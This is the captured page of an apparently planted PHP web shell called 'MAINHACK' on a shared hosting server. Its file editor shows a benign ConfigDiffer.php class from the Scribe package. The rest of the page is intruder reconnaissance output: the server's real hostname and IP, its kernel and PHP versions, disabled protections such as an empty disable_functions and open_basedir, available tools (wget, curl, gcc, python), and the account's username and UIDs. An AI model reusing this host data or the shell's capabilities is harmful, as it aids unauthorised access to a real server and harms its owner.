[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ConfigDiffer.php
<?php namespace Knuckles\Scribe\Tools; use Illuminate\Support\Str; use Symfony\Component\VarExporter\VarExporter; class ConfigDiffer { public function __construct( protected array $defaultConfig, protected array $usersConfig, protected array $ignorePaths = [], protected array $asList = [], ) { } public function getDiff() { return $this->recursiveItemDiff($this->defaultConfig, $this->usersConfig); } protected function recursiveItemDiff($old, $new, $prefix = '') { $diff = []; foreach ($new as $key => $value) { $fullKey = $prefix.$key; if (Str::is($this->ignorePaths, $fullKey)) continue; $oldValue = data_get($old, $key); if (is_array($value)) { if (Str::is($this->asList, $fullKey)) { $listDiff = $this->diffList($oldValue, $value); if (!empty($listDiff)) { $diff[$fullKey] = $listDiff; } } else { $diff = array_merge( $diff, $this->recursiveItemDiff($oldValue, $value, "$fullKey.") ); } } else { if ($oldValue !== $value) { $printedValue = json_encode($value, JSON_UNESCAPED_SLASHES); $diff[$prefix.$key] = $printedValue; } } } return $diff; } protected function diffList(mixed $oldValue, array $value) { if (!is_array($oldValue)) { return "changed to a list"; } $added = array_map(fn ($v) => "$v", $this->subtractArraysFlat($value, $oldValue)); $removed = array_map(fn ($v) => "$v", $this->subtractArraysFlat($oldValue, $value)); $diff = []; if (!empty($added)) { $diff[] = "added ".implode(", ", $added); } if (!empty($removed)) { $diff[] = "removed ".implode(", ", $removed); } return empty($diff) ? "" : implode(": ", $diff); } /** * Basically array_diff, but handling items which may also be arrays */ protected function subtractArraysFlat(array $a, array $b) { $mapped_a = array_map(function ($item) { if (is_array($item)) { return VarExporter::export($item); } return $item; }, $a); $mapped_b = array_map(function ($item) { if (is_array($item)) { return VarExporter::export($item); } return $item; }, $b); return array_diff($mapped_a, $mapped_b); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285